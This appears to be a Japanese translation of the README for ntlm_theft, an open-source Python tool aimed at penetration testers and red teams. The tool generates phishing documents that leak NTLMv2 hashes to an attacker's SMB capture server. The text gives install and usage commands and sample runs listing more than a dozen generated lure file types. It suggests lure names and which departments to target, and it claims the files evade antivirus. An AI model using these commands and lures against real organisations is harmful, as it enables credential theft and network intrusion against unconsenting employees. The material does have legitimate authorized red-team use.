NTLMv2ハッシュ窃取ファイルを複数のタイプで生成するツール。
ntlm_theftは、21種類のハッシュ窃取文書を生成するオープンソースのPython3ツールです。これらは、ターゲットが外部ネットワークへのSMBトラフィックを許可している場合、または内部ネットワークに既にいる場合に、フィッシングに使用できます。
これらのファイルタイプの利点は、マクロベースの文書やエクスプロイト文書とは異なり、すべてが「意図された機能」を使用して構築されていることです。2020年6月時点では、Windows Defender Antivirusにフラグが立てられたものはなく、21の攻撃のうち17が完全にパッチ適用されたWindows 10ホストで動作しました。
ntlm_theftは以下の攻撃タイプをサポートしています：
ntlm_theftは主にペネトレーションテスターやレッドチームを対象としており、ターゲット企業の従業員に対して内部フィッシングを実行したり、アンチウイルスやメールゲートウェイを大量にテストするために使用します。また、境界ファイアウォールで発信SMBアクセスが許可されている場合、外部フィッシングにも使用される可能性があります。
ペネトレーションテストでは、レッドチーム活動で使用されるような特定の攻撃を構成する時間を費やす代わりに、自分が利用できるファイルタイプを簡単に確認できるので便利だと感じています。HR部門には.rtfや.docxファイルを、財務部門には.xlsxスプレッドシート文書を送ることができます。
以下の手順では、ntlm_theftの要件と使用方法を示します。
ntlm_theftにはPython3とxlsxwriterが必要です：
pip3 install xlsxwriter
ツールを起動するには、4つのパラメータを指定する必要があります：入力形式、入力ファイルまたはフォルダ、および基本実行モードです：
-g, --generate : Choose to generate all files or a specific filetype
-s, --server : The IP address of your SMB hash capture server (Responder, impacket ntlmrelayx, Metasploit auxiliary/server/capture/smb, etc)
-f, --filename : The base filename without extension, can be renamed later (eg: test, Board-Meeting2020, Bonus_Payment_Q4)
すべてのファイルを生成する場合の実行例は次のとおりです：
# python3 ntlm_theft.py -g all -s 127.0.0.1 -f test
Created: test/test.scf (BROWSE)
Created: test/test-(url).url (BROWSE)
Created: test/test-(icon).url (BROWSE)
Created: test/test.rtf (OPEN)
Created: test/test-(stylesheet).xml (OPEN)
Created: test/test-(fulldocx).xml (OPEN)
Created: test/test.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: test/test-(includepicture).docx (OPEN)
Created: test/test-(remotetemplate).docx (OPEN)
Created: test/test-(frameset).docx (OPEN)
Created: test/test.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: test/test.asx (OPEN)
Created: test/test.jnlp (OPEN)
Created: test/test.application (DOWNLOAD AND OPEN)
Created: test/test.pdf (OPEN AND ALLOW)
Created: test/zoom-attack-instructions.txt (PASTE TO CHAT)
Generation Complete.
最新のファイルのみを生成する場合の実行例は次のとおりです：
# python3 ntlm_theft.py -g modern -s 127.0.0.1 -f meeting
Skipping SCF as it does not work on modern Windows
Created: meeting/meeting-(url).url (BROWSE TO FOLDER)
Created: meeting/meeting-(icon).url (BROWSE TO FOLDER)
Created: meeting/meeting.rtf (OPEN)
Created: meeting/meeting-(stylesheet).xml (OPEN)
Created: meeting/meeting-(fulldocx).xml (OPEN)
Created: meeting/meeting.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: meeting/meeting-(includepicture).docx (OPEN)
Created: meeting/meeting-(remotetemplate).docx (OPEN)
Created: meeting/meeting-(frameset).docx (OPEN)
Created: meeting/meeting-(externalcell).xlsx (OPEN)
Created: meeting/meeting.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: meeting/meeting.asx (OPEN)
Created: meeting/meeting.jnlp (OPEN)
Created: meeting/meeting.application (DOWNLOAD AND OPEN)
Created: meeting/meeting.pdf (OPEN AND ALLOW)
Skipping zoom as it does not work on the latest versions
Skipping Autorun.inf as it does not work on modern Windows
Skipping desktop.ini as it does not work on modern Windows
Generation Complete.
xlsxファイルのみを生成する場合の実行例は次のとおりです：
# python3 ntlm_theft.py -g xlsx -s 192.168.1.103 -f Bonus_Payment_Q4
Created: Bonus_Payment_Q4/Bonus_Payment_Q4-(externalcell).xlsx (OPEN)
Generation Complete.
ntlm_theft Created by Jacob Wilkin Copyright (C) 2020 Jacob Wilkin
このプログラムは自由ソフトウェアです。あなたはこれを、Free Software Foundationによって公開されたGNU General Public Licenseのバージョン3、または（あなたの選択により）それ以降のバージョンの条件の下で再配布および/または変更することができます。
このプログラムは有用であることを期待して配布されていますが、一切の保証はありません。暗黙の商品性保証や特定目的への適合性の保証も含め、一切の保証はありません。詳細については、GNU General Public Licenseを参照してください。